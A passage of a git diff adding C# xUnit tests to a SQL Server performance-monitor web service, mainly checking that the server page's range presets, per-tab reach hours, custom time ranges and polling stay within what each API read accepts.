+        Assert.Equal(new[] { "\"/api/a\"=unswept", "\"/api/b\"=unswept", "\"/api/c\"=unswept", "\"/api/d\"=unswept" }, Verdicts(Source));
+
+        // The fleet-sweep file's own writers count there, and only there.
+        Assert.Equal(new[] { "\"/api/a\"=unswept", "\"/api/b\"=swept", "\"/api/c\"=unswept", "\"/api/d\"=unswept" },
+            Verdicts(Source, "DarlingFleetSweepEndpoints.cs"));
+    }
+
+    [Fact]
+    public void ABranchOfATernaryOrCoalesce_MustBeSweptToo()
+    {
+        const string Source = @"
+class W {
+  void M(object app) {
+    app.MapGet(""/api/a"", async (HttpContext c) => { return run is null ? SweepError(""none"", 404) : JsonResult(raw); });
+    app.MapGet(""/api/b"", async (HttpContext c) => { return run is null ? SweepError(""none"", 404) : Results.Text(raw, ""t""); });
+    app.MapGet(""/api/c"", async (HttpContext c) => { return await Pick() ?? Results.Text(raw, ""t""); });
+  }
+}";
+        Assert.Equal(new[] { "\"/api/a\"=swept", "\"/api/b\"=unswept", "\"/api/c\"=unswept" }, Verdicts(Source, "DarlingFleetSweepEndpoints.cs"));
+    }
+}
diff --git a/Darling/Darling.Tests/WebServerPageRangeTests.cs b/Darling/Darling.Tests/WebServerPageRangeTests.cs
new file mode 100644
index 0000000000..1ecd5f0345
--- /dev/null
+++ b/Darling/Darling.Tests/WebServerPageRangeTests.cs
@@ -0,0 +1,489 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server page's Range offers only windows its tabs can serve. All but three of the page's ranged reads refuse
+/// more than <see cref="McpHelpers.MaxHoursBack"/> hours, so a 30-day choice came back as 7 days on nearly every
+/// panel, each with a notice saying it had asked again. The first test runs every offered range through every tab
+/// of both registries under Node (<c>web-kept-history-harness.mjs</c>), against reads that refuse a wider window the
+/// way the real ones do. The second reads the presets from the source, so it holds where Node is not installed.
+/// </summary>
+public sealed class WebServerPageRangeTests
+{
+    /// <summary>
+    /// Every range the page offers, on every tab of both registries: no ranged read is asked for more hours than it
+    /// takes. A tab added later is built too, and a read it would over-ask fails here by range, tab and read. A read
+    /// that comes late, after its tab has settled, is caught by a check of every read the run made, and what the tabs
+    /// draw is mounted, so a notice or an error at an offered range fails by range and tab as well.
+    /// </summary>
+    [Fact]
+    public void EveryOfferedRange_IsOneEveryRangedReadOnEveryTabTakes()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("offeredRanges:" + McpHelpers.MaxHoursBack, out var r, CatalogJson())) return;
+
+        var offered = r.GetProperty("offered").EnumerateArray().Select(e => e.GetInt32()).ToArray();
+        Assert.NotEmpty(offered);
+
+        var beyond = Strings(r, "beyond");
+        Assert.True(
+            beyond.Length == 0,
+            $"The Range offers {string.Join(", ", offered)} hours, and {beyond.Length} ranged reads would be asked for more"
+            + $" than {McpHelpers.MaxHoursBack} hours, the widest window the capped reads take:\n" + string.Join("\n", beyond.Take(40)));
+
+        /* The list above is each tab's reads, taken right after that tab settled. A read a tab makes later (behind a
+           timer, say) reaches the run's list of every fetch without reaching a tab's, and the last tab's has nothing
+           after it to be counted in. So the whole list is checked as well: no read the page makes asks for more than the
+           capped reads take, whether or not it can be tied to a tab. */
+        var tooWide = Strings(r, "fetches").Where(f => HoursAsked(f) > ReachOf(f)).ToArray();
+        Assert.True(
+            tooWide.Length == 0,
+            $"{tooWide.Length} reads the page made asked for more hours than the read takes ({McpHelpers.MaxHoursBack} unless the"
+            + " read's row in WebReadReach says more; this list is every read the run made, so a read that cannot be tied to a tab is in it):\n"
+            + string.Join("\n", tooWide.Take(40)));
+
+        Assert.Empty(r.GetProperty("rejections").EnumerateArray());
+
+        /* Every tab's drawing is mounted, so what the page shows at an offered range is seen. Each offered range is one
+           the reads take, so no panel may need a notice that it asked again for fewer hours, and none may fail. The
+           strips say which range and tab drew them. */
+        var notices = Strings(r, "notices");
+        Assert.True(
+            notices.Length == 0,
+            $"{notices.Length} notices were shown at an offered range, where no read is refused:\n" + string.Join("\n", notices.Take(40)));
+        var errors = Strings(r, "errors");
+        Assert.True(
+            errors.Length == 0,
+            $"{errors.Length} errors were shown at an offered range:\n" + string.Join("\n", errors.Take(40)));
+        Assert.Equal(0, r.GetProperty("loading").GetInt32());
+
+        /* "Nothing over-asked" must not pass because nothing was asked: each range builds the tabs of both registries,
+           and named ranged reads from each are seen at that range's hours. */
+        var observed = r.GetProperty("observed").EnumerateArray().Select(e => e.GetString()!).ToArray();
+        foreach (var hours in offered)
+        {
+            foreach (var (engine, reads) in s_witnesses)
+            {
+                var seen = observed.Where(o => o.StartsWith($"{hours} {engine} ", System.StringComparison.Ordinal)).ToArray();
+                foreach (var read in reads)
+                {
+                    Assert.True(
+                        seen.Contains($"{hours} {engine} {read}"),
+                        $"At {hours} hours the {engine} tabs never asked {read} for a window ({seen.Length} ranged reads seen there).");
+                }
+            }
+        }
+    }
+
+    /// <summary>The real <c>/api/catalog</c> body, which the harness serves to the page: each read's <c>max_hours</c> is the one the
+    /// service serves, so a tab's reach in these tests is the product's, not a copy.</summary>
+    private static string CatalogJson() => DarlingWebEndpoints.BuildCatalogNode().ToJsonString();
+
+    private static string[] Strings(JsonElement node, string name) =>
+        node.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>The hours the read in a fetched URL takes: its row in <see cref="WebReadReach"/>, else the common 168.</summary>
+    private static int ReachOf(string fetched)
+    {
+        var read = Regex.Match(fetched, @"/api/read/([a-z_0-9]+)", RegexOptions.CultureInvariant);
+        return read.Success && WebReadReach.All.TryGetValue(read.Groups[1].Value, out var row) ? row.MaxHours : McpHelpers.MaxHoursBack;
+    }
+
+    private static readonly Regex s_hoursParam = new(@"[?&]hours=([0-9]+(?:\.[0-9]+)?)", RegexOptions.CultureInvariant);
+
+    /// <summary>The hours a fetched URL asks for, or 0 when it takes no window.</summary>
+    private static double HoursAsked(string fetched) =>
+        s_hoursParam.Match(fetched) is { Success: true } hours ? double.Parse(hours.Groups[1].Value, CultureInfo.InvariantCulture) : 0;
+
+    /// <summary>Ranged reads each registry's tabs make at every range: the census must see them asked.</summary>
+    private static readonly (string Engine, string[] Reads)[] s_witnesses =
+    [
+        ("SQL Server", ["get_cpu_utilization", "get_wait_trend", "get_blocking_stats", "get_current_waits_trend", "get_collection_log"]),
+        ("PostgreSQL", ["get_pg_blocking", "get_pg_io_stats", "get_collection_log"]),
+    ];
+
+    /// <summary>
+    /// The Blocking tab's note says how far back the page reaches and where the rest of the history is. Its number is
+    /// the widest preset, which the page hands to <c>tabNote</c>, so narrowing the presets cannot leave the note
+    /// wrong. <c>get_blocking_stats</c> takes any window and draws both severity charts, and its tables keep more than
+    /// the page shows. No other tab carries the pointer: the PostgreSQL tabs' only read that takes any window is the
+    /// collection log, which asks for the newest 200 runs.
+    /// </summary>
+    [Fact]
+    public void TheBlockingTabNote_NamesTheWidestOfferedRange()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("offeredRanges:" + McpHelpers.MaxHoursBack, out var r, CatalogJson())) return;
+
+        /* The Blocking tab's own reach (#5562 review r1 M4): the number its note names is the widest range THIS tab offers. */
+        var widest = r.GetProperty("found").GetProperty("reaches").GetProperty("SQL Server blocking").GetInt32();
+        Assert.True(widest % 24 == 0, $"The widest preset is {widest} hours, not a whole number of days, so this pin needs remapping.");
+        var days = widest / 24;
+        var notes = r.GetProperty("notes").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+        var blocking = Assert.Single(notes, n => n.StartsWith("SQL Server blocking: ", System.StringComparison.Ordinal));
+        Assert.Contains(
+            $"This page shows at most {days} day{(days == 1 ? "" : "s")}. A Custom View can show more blocking and deadlock history.",
+            blocking,
+            System.StringComparison.Ordinal);
+        Assert.Single(notes, n => n.Contains("A Custom View can show more", System.StringComparison.Ordinal));
+    }
+
+    /// <summary>The same rule read from <c>pages/server.js</c> (#5562 review r1 M4): the page holds no reach of its own. A tab's
+    /// reach is the catalog's, read through <c>readsReachHours</c>; it is handed to the picker so a longer range is greyed out with
+    /// the tab's reason; and the whole-hour presets come from the picker module's presets, never a list of its own.</summary>
+    [Fact]
+    public void TheOfferedRanges_InTheSource_AreTheTabsReachFromTheCatalog()
+    {
+        var server = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server.js");
+        Assert.DoesNotContain("PAGE_REACH_HOURS", server, System.StringComparison.Ordinal);
+        Assert.Contains("readsReachHours(", server, System.StringComparison.Ordinal);
+        Assert.Contains("reachHours: tabReach(null, server)", server, System.StringComparison.Ordinal);
+        Assert.Contains("reachMessage:", server, System.StringComparison.Ordinal);
+        Assert.Matches(@"const RANGE_OPTIONS = ROLLING_PRESETS", server);
+        Assert.DoesNotContain("hours <= ", server.Split("function rangeOption")[0], System.StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A tab does not hand-type its hours (#5562 review r1 M4, ruling R2). Every tab names the windowed reads it makes
+    /// (<c>reachReads</c>), each name is a read the web serves, and no tab object, the registry or the server page carries a
+    /// number of hours as a reach: the only source of a number is the catalog's <c>max_hours</c>.
+    /// </summary>
+    [Fact]
+    public void ATab_NamesItsReads_AndNeverTypesItsHours()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var reach = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tab-reach.js");
+        var findings = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "analysis-findings.js");
+        var server = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server.js");
+
+        var hand = new Regex(@"\b(reach|reachHours|reachReads|maxHours|max_hours)\s*[:=]\s*[0-9]", RegexOptions.CultureInvariant);
+        foreach (var (file, text) in new[] { ("server-tabs.js", tabs), ("server-tab-reach.js", reach), ("analysis-findings.js", findings), ("server.js", server) })
+        {
+            var typed = hand.Matches(text).Select(m => m.Value).ToArray();
+            Assert.True(typed.Length == 0, $"{file} types a reach as a number ({string.Join("; ", typed)}); a tab's reach is the catalog's max_hours of its reachReads.");
+        }
+
+        /* Each registry tab declares reachReads, in server-tab-reach.js and not on the tab objects (the whole registry is 12 + 8 tabs; the
+           Recommendations tab lives in its own module): server-tabs.js is read as text by the pins that count a tab's fetches, and a
+           reach list there would read as a second fetch of every name in it. The registry applies the table to its tabs at load. */
+        Assert.DoesNotContain("reachReads:", tabs, System.StringComparison.Ordinal);
+        Assert.Contains("withTabReach(SERVER_TABS, SQL_TAB_REACH);", tabs, System.StringComparison.Ordinal);
+        Assert.Contains("withTabReach(POSTGRES_TABS, POSTGRES_TAB_REACH);", tabs, System.StringComparison.Ordinal);
+        var declared = Regex.Matches(reach,@"reachReads:\s*\[([^\]]*)\]", RegexOptions.CultureInvariant);
+        Assert.True(declared.Count >= 15, $"Only {declared.Count} tabs declare reachReads.");
+        Assert.Contains("reachReads: [\"get_analysis_findings\"]", findings, System.StringComparison.Ordinal);
+
+        var served = DarlingWebEndpoints.CatalogDescriptors.Keys.ToHashSet(System.StringComparer.Ordinal);
+        foreach (var name in declared.SelectMany(d => Regex.Matches(d.Groups[1].Value, "\"([a-z_]+)\"").Select(m => m.Groups[1].Value)).Distinct())
+        {
+            Assert.True(served.Contains(name), $"A tab's reachReads names {name}, which the web does not serve.");
+        }
+    }
+
+    /// <summary>
+    /// A tab's reach is the smallest <c>max_hours</c> among the reads it makes, from the real catalog. The I/O tab is made of
+    /// two 30-day trends and offers 30 days; the Activity tab shows the perfmon trend (7 days) beside them and stays at 7; the
+    /// Queries tab shows the query heatmap (7 days) and stays at 7; a tab with a list read stays at 7; and every tab's reach
+    /// equals the minimum computed here from the read table, so a tab with two reads takes the smaller. A tab that makes a
+    /// windowed read its <c>reachReads</c> does not name fails the run, because an unnamed read could lift the tab past it.
+    /// </summary>
+    [Fact]
+    public void ATabsReach_IsTheSmallestOfItsReads_FromTheCatalog()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("offeredRanges:" + McpHelpers.MaxHoursBack, out var r, CatalogJson())) return;
+
+        var found = r.GetProperty("found");
+        var reaches = found.GetProperty("reaches");
+        Assert.Equal(720, reaches.GetProperty("SQL Server io").GetInt32());
+        Assert.Equal(McpHelpers.MaxHoursBack, reaches.GetProperty("SQL Server activity").GetInt32());
+        Assert.Equal(McpHelpers.MaxHoursBack, reaches.GetProperty("SQL Server queries").GetInt32());
+        Assert.Equal(McpHelpers.MaxHoursBack, reaches.GetProperty("SQL Server blocking").GetInt32());
+        Assert.Equal(McpHelpers.MaxHoursBack, reaches.GetProperty("SQL Server config").GetInt32());
+
+        /* The I/O tab offers 30 days and the Activity tab does not. */
+        var offeredBy = found.GetProperty("offeredBy");
+        Assert.Contains(720, offeredBy.GetProperty("SQL Server io").EnumerateArray().Select(e => e.GetInt32()));
+        Assert.DoesNotContain(720, offeredBy.GetProperty("SQL Server activity").EnumerateArray().Select(e => e.GetInt32()));
+
+        /* Every tab: the harness's reach equals the minimum of the reads' table rows (a read without a row is 168). */
+        foreach (var tab in reaches.EnumerateObject())
+        {
+            var reads = TabReads(tab.Name);
+            var expected = reads.Length == 0
+                ? McpHelpers.MaxHoursBack
+                : reads.Min(read => WebReadReach.All.TryGetValue(read, out var row) ? row.MaxHours : McpHelpers.MaxHoursBack);
+            Assert.True(expected == tab.Value.GetInt32(), $"{tab.Name}: the page gave {tab.Value.GetInt32()} hours, the smallest of its reads is {expected}.");
+        }
+
+        var undeclared = Strings(found, "undeclared");
+        Assert.True(undeclared.Length == 0, "These tabs made a windowed read their reachReads does not name:\n" + string.Join("\n", undeclared));
+    }
+
+    /// <summary>The reads a tab declares, from the registry source: the tab key is "engine id" as the harness names it.</summary>
+    private static string[] TabReads(string key)
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tab-reach.js");
+        var postgres = key.StartsWith("PostgreSQL ", System.StringComparison.Ordinal);
+        var id = key[(key.LastIndexOf(' ') + 1)..];
+        var registry = tabs[tabs.IndexOf("export const POSTGRES_TAB_REACH", System.StringComparison.Ordinal)..];
+        var sql = tabs[..tabs.IndexOf("export const POSTGRES_TAB_REACH", System.StringComparison.Ordinal)];
+        var source = postgres ? registry : sql;
+        if (key.StartsWith("SQL Server recommendations", System.StringComparison.Ordinal))
+        {
+            return ["get_analysis_findings"];
+        }
+
+        var tab = Regex.Match(source, "\\n  " + Regex.Escape(id) + ": \\{(?<body>.*?)\\n  \\}", RegexOptions.Singleline | RegexOptions.CultureInvariant);
+        var list = tab.Success ? Regex.Match(tab.Groups["body"].Value, "reachReads: \\[([^\\]]*)\\]", RegexOptions.CultureInvariant) : Match.Empty;
+        return list.Success
+            ? Regex.Matches(list.Groups[1].Value, "\"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToArray()
+            : [];
+    }
+
+    /// <summary>
+    /// A range carried to a tab that reads less (#5562 review r1 M4, ruling R2): 20 days held on the I/O tab (30-day reach), then
+    /// the Wait Stats tab (7 days). The tab reads its own 7 days, ending where the range ends, and says so in its label and in a
+    /// notice on the page. The range stays held, so the I/O tab takes all of it again. A 30-day pick is refused on the tab that
+    /// cannot read it, with the tab's reason, and no read on that tab asks for more than 168 hours.
+    /// </summary>
+    [Fact]
+    public void ARangeCarriedToATabThatReadsLess_IsReadAtThatTabsReach_AndSaysSo()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("tabReachCarried", out var r, CatalogJson())) return;
+
+        var found = r.GetProperty("found");
+        Assert.Equal(JsonValueKind.Null, found.GetProperty("holdTwentyDays").ValueKind);
+        Assert.Equal(480, found.GetProperty("ioTwentyDays").GetProperty("hours").GetInt32());
+        Assert.Equal(JsonValueKind.Null, found.GetProperty("ioTwentyDays").GetProperty("note").ValueKind);
+
+        var waits = found.GetProperty("waitsTwentyDays");
+        Assert.Equal(168, waits.GetProperty("hours").GetInt32());
+        Assert.StartsWith("last 7 days of ", waits.GetProperty("label").GetString(), System.StringComparison.Ordinal);
+        var note = waits.GetProperty("note").GetString()!;
+        Assert.Contains("longer than this tab reads", note, System.StringComparison.Ordinal);
+        Assert.Contains("up to 7 days", note, System.StringComparison.Ordinal);
+
+        /* The picker's own refusal on the tab that cannot read 30 days says why. */
+        Assert.Equal("This tab reads up to 7 days.", found.GetProperty("holdThirtyOnWaits").GetString());
+        Assert.Contains("up to 7 days", found.GetProperty("holdThirtyOnWaitsRange").GetProperty("error").GetString());
+
+        /* On the I/O tab 30 days is held whole; carried to Wait Stats it is read as 7 days, with the notice on the page. */
+        Assert.Equal(JsonValueKind.Null, found.GetProperty("holdThirtyOnIo").ValueKind);
+        Assert.Equal(720, found.GetProperty("ioThirty").GetProperty("hours").GetInt32());
+        Assert.Equal(JsonValueKind.Null, found.GetProperty("ioThirty").GetProperty("note").ValueKind);
+        var thirty = found.GetProperty("waitsThirty");
+        Assert.Equal(168, thirty.GetProperty("hours").GetInt32());
+        Assert.Contains("(last 30 days) is longer than this tab reads", thirty.GetProperty("note").GetString(), System.StringComparison.Ordinal);
+        Assert.Contains(thirty.GetProperty("note").GetString()!, Strings(r, "notices"));
+
+        var reads = Strings(found, "waitsReads");
+        Assert.NotEmpty(reads);
+        Assert.All(reads, read => Assert.True(HoursAsked(read) <= McpHelpers.MaxHoursBack, "The Wait Stats tab asked for more than it reads: " + read));
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>A wide range held for one server, then a server whose catalog the page has not read: the panels wait for the catalog and
+    /// read once at the tab's reach (720 hours on the I/O tab), instead of reading the common 168 hours first and the rest after.</summary>
+    [Fact]
+    public void AWideRange_OnAServerWhoseCatalogIsNotRead_WaitsForTheCatalog_AndReadsOnce()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("tabReachWaits", out var r, CatalogJson())) return;
+
+        var found = r.GetProperty("found");
+        var fetches = Strings(found, "fetches");
+        var reads = fetches.Where(f => f.StartsWith("/api/read/", System.StringComparison.Ordinal)).ToArray();
+        var windowed = reads.Where(read => HoursAsked(read) > 0).ToArray();
+        Assert.NotEmpty(windowed);
+        Assert.All(windowed, read => Assert.Equal(720, HoursAsked(read)));
+        Assert.InRange(found.GetProperty("catalog").GetInt32(), 0, found.GetProperty("firstRead").GetInt32() - 1);
+        Assert.Empty(Strings(r, "notices"));
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>Review r2 M1: the server page's hold refuses a fixed range that starts in the future, in the picker's words, and the range
+    /// it had is still the range it reads (before this, the past hour was read under the future range's label).</summary>
+    [Fact]
+    public void AFixedRangeThatStartsInTheFuture_IsRefusedByTheHold_AndTheHeldRangeStays()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("tabReachHoldFutureStart", out var r, CatalogJson())) return;
+
+        var found = r.GetProperty("found");
+        Assert.Equal("That range has not started yet.", found.GetProperty("refused").GetString());
+        Assert.Equal(found.GetProperty("beforeHours").GetInt32(), found.GetProperty("afterHours").GetInt32());
+        Assert.False(found.GetProperty("custom").GetBoolean());
+    }
+
+    /// <summary>Review r2 L2: while the catalog is pending, a second render of the same server (a range change or the 60 second refresh
+    /// both redraw the panels) adds no second wait. Two waits ran two redraws when the catalog arrived, so every panel read was sent twice.</summary>
+    [Fact]
+    public void ARedrawDuringTheCatalogWait_ReadsEachPanelOnce()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("tabReachWaitsRedrawn", out var r, CatalogJson())) return;
+
+        var found = r.GetProperty("found");
+        Assert.Equal(0, found.GetProperty("readsBeforeRelease").GetInt32());
+        // One batch of panel builds when the catalog arrives, not one per redraw that hit the wait.
+        Assert.Equal(1, found.GetProperty("builds").GetInt32());
+        var reads = Strings(found, "reads");
+        Assert.NotEmpty(reads);
+        Assert.Equal(reads.Length, found.GetProperty("distinct").GetInt32());
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>A custom start and end maps to the reads' window: <c>as_of</c> is the end and <c>hours</c> is the span rounded
+    /// UP to whole hours, so the fetch starts at or before the picked start. A span under an hour, a reversed pair, a future
+    /// end and a span wider than the widest preset are refused; an end at "now" is live and names no <c>as_of</c>.</summary>
+    [Fact]
+    public void ACustomRange_MapsToAsOfAndWholeHours_AndRefusesWhatNoReadTakes()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customMapping", out var r)) return;
+
+        var found = r.GetProperty("found");
+        var rounded = found.GetProperty("rounded");
+        Assert.Equal(4, rounded.GetProperty("hours").GetInt32());
+        Assert.Equal("2026-01-02T10:30:00.000Z", rounded.GetProperty("asOf").GetString());
+        Assert.False(rounded.GetProperty("live").GetBoolean());
+        Assert.Equal(4, found.GetProperty("exact").GetProperty("hours").GetInt32());
+        var subHour = found.GetProperty("subHour");
+        Assert.Equal(1, subHour.GetProperty("hours").GetInt32());
+        Assert.Equal("2026-01-02T10:30:00.000Z", subHour.GetProperty("asOf").GetString());
+        Assert.Contains("shortest range is 5 minutes", found.GetProperty("tooShort").GetProperty("error").GetString());
+        Assert.Contains("after the start", found.GetProperty("reversed").GetProperty("error").GetString());
+        Assert.Contains("future", found.GetProperty("future").GetProperty("error").GetString());
+        Assert.Contains("7 days", found.GetProperty("tooWide").GetProperty("error").GetString());
+        var live = found.GetProperty("live");
+        Assert.True(live.GetProperty("live").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, live.GetProperty("asOf").ValueKind);
+        Assert.Equal(5, live.GetProperty("hours").GetInt32());
+    }
+
+    /// <summary>Through the page: applying a past-end range re-reads the tab with the rounded hours and <c>as_of</c>, and a
+    /// read that names no window (the scheduler pressure read) is left as it was.</summary>
+    [Fact]
+    public void ApplyingACustomRange_ReReadsTheTabAnchoredAtItsEnd()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customPageReads", out var r)) return;
+
+        var reads = Strings(r.GetProperty("found"), "reads");
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("found").GetProperty("err").ValueKind);
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV1&hours=4&as_of=2026-01-02T10%3A30%3A00.000Z", reads);
+        Assert.Contains("/api/read/get_top_queries_by_cpu?server=SRV1&hours=4&top=20&detail=full&as_of=2026-01-02T10%3A30%3A00.000Z", reads);
+        Assert.Contains("/api/read/get_cpu_scheduler_pressure?server=SRV1", reads);
+        Assert.Empty(Strings(r, "errors"));
+    }
+
+    /// <summary>The 60 s poll leaves a fixed historical window alone; a live range, a tab click and a preset still read, and
+    /// the pair belongs to the server it was picked for.</summary>
+    [Fact]
+    public void ThePoll_DoesNotRefreshAPastEndRange_ButKeepsItForTheServerAndRefreshesTheRest()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customPoll", out var r)) return;
+
+        var found = r.GetProperty("found");
+        Assert.Empty(Strings(found, "pastPoll"));
+        /* A rebuild that is not the poll (a tab click) still draws the same custom window. */
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV1&hours=4&as_of=2026-01-02T10%3A30%3A00.000Z", Strings(found, "tabClick"));
+        /* Another server starts on the preset. */
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV2&hours=24", Strings(found, "other"));
+        /* A range that ends now keeps refreshing, and names no as_of. */
+        var live = Strings(found, "livePoll");
+        Assert.Contains(live, f => f.StartsWith("/api/read/get_cpu_utilization?server=SRV3&hours=6", System.StringComparison.Ordinal));
+        Assert.DoesNotContain(live, f => f.Contains("as_of=", System.StringComparison.Ordinal));
+    }
+
+    /// <summary>A chart over a custom range holds only the points inside the exact pair and its axis spans that pair; a read
+    /// that takes no <c>as_of</c> shows the preset notice; a read for another server is untouched.</summary>
+    [Fact]
+    public void ACustomRange_TrimsToTheExactPair_AndNamesThePanelsThatKeepThePreset()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customTrimAndNotice", out var r)) return;
+
+        var fetches = Strings(r, "fetches");
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV1&hours=4&as_of=2026-01-02T10%3A30%3A00.000Z", fetches);
+        Assert.Contains("/api/read/get_read_latency?server=SRV1&hours=4", fetches);
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV2&hours=4", fetches);
+        Assert.Equal("This panel shows the last 4 hours, not the custom range: its read takes no end time.", Assert.Single(Strings(r, "notices")));
+        /* 07:30, 09:00 and 10:00 are inside 07:15 to 10:30; 06:00 and 11:00 are not. The other server's chart keeps all five. */
+        Assert.Equal(new[] { 3, 5 }, r.GetProperty("chartPoints").EnumerateArray().Select(e => e.GetInt32()).ToArray());
+        Assert.Equal(new int?[] { 3, 3 }, r.GetProperty("chartHours").EnumerateArray().Select(e => (int?)e.GetInt32()).ToArray());
+    }
+
+    /// <summary>The reads that keep the preset are exactly the catalog's windowed reads that take no <c>as_of</c>, and every
+    /// other windowed read takes one.</summary>
+    [Fact]
+    public void TheReadsWithoutAsOf_AreTheCatalogsWindowedReadsThatTakeNone()
+    {
+        var catalog = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        /* An entry runs from its `["name"] = R(` to the next entry's start (or the end of the file), so one that wraps
+           over several lines is read whole. */
+        var starts = Regex.Matches(catalog, @"\[""(\w+)""\] = R\(").ToArray();
+        var entries = starts.Select((m, i) => (Name: m.Groups[1].Value, Body: catalog[m.Index..(i + 1 < starts.Length ? starts[i + 1].Index : catalog.Length)])).ToArray();
+        Assert.True(entries.Length > 100, "The read catalog's entries were not found.");
+        var windowedWithoutAsOf = entries
+            .Where(e => e.Body.Contains("PHours(", System.StringComparison.Ordinal) && !e.Body.Contains("PAsOf()", System.StringComparison.Ordinal))
+            .Select(e => e.Name)
+            .OrderBy(n => n, System.StringComparer.Ordinal)
+            .ToArray();
+        Assert.NotEmpty(windowedWithoutAsOf);
+
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "util.js");
+        var set = Regex.Match(util, @"READS_WITHOUT_AS_OF = new Set\(\[(.*?)\]\)", RegexOptions.Singleline);
+        Assert.True(set.Success, "util.js no longer declares READS_WITHOUT_AS_OF.");
+        var declared = Regex.Matches(set.Groups[1].Value, @"""(\w+)""").Select(m => m.Groups[1].Value).OrderBy(n => n, System.StringComparer.Ordinal).ToArray();
+        Assert.Equal(windowedWithoutAsOf, declared);
+    }
+
+    /// <summary>A read wider than the store keeps is asked again for the hours it keeps. On a custom range that retry keeps the
+    /// range's end (<c>as_of</c>), the chart draws only the part of the range the store holds, and the notice says so.</summary>
+    [Fact]
+    public void ANarrowedRead_OnACustomRange_KeepsTheEndAndSaysItShowsThePartTheStoreHolds()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customKeptHistory", out var r)) return;
+
+        var fetches = Strings(r, "fetches");
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV1&hours=24&as_of=2026-01-02T10%3A30%3A00.000Z", fetches);
+        Assert.Contains("/api/read/get_cpu_utilization?server=SRV1&hours=4&as_of=2026-01-02T10%3A30%3A00.000Z", fetches);
+        Assert.DoesNotContain("/api/read/get_cpu_utilization?server=SRV1&hours=4", fetches.Where(f => !f.Contains("as_of=", System.StringComparison.Ordinal)));
+        /* 06:30 to 10:30 is the part of 07:15-yesterday to 10:30 a 4-hour store holds: 07:30, 09:00 and 10:00 are in, 06:00 is out. */
+        Assert.Equal(new[] { 3 }, r.GetProperty("chartPoints").EnumerateArray().Select(e => e.GetInt32()).ToArray());
+        Assert.Contains("the part of the custom range the store still holds", Assert.Single(Strings(r, "notices")));
+    }
+
+    /// <summary>The trim cuts per-point series. A row that stamps its LAST sample (the latch read's <c>captured_at</c>) is a total over
+    /// the window and stays, even when that stamp falls in the rounded-up slack before the picked start.</summary>
+    [Fact]
+    public void TheTrim_LeavesAggregateRowsAlone()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customAggregateRows", out var r)) return;
+
+        var found = r.GetProperty("found");
+        Assert.Equal(2, found.GetProperty("latchRows").GetInt32());
+        Assert.Equal(3, found.GetProperty("seriesRows").GetInt32());
+    }
+
+    /// <summary>A span that is not a whole number of hours says where totals and rankings begin; a whole-hour span adds nothing.</summary>
+    [Fact]
+    public void ARoundedRange_SaysWhereTheAggregatesBegin()
+    {
+        if (!WebRangeKeptHistoryBehaviourTests.TryRun("customRoundedLabel", out var r)) return;
+
+        var found = r.GetProperty("found");
+        Assert.Contains("aggregate from", found.GetProperty("rounded").GetString());
+        Assert.DoesNotContain("aggregate from", found.GetProperty("whole").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/WebServerTrendsBehaviourTests.cs b/Darling/Darling.Tests/WebServerTrendsBehaviourTests.cs
new file mode 100644
index 0000000000..289af76fc3
--- /dev/null
+++ b/Darling/Darling.Tests/WebServerTrendsBehaviourTests.cs
@@ -0,0 +1,164 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
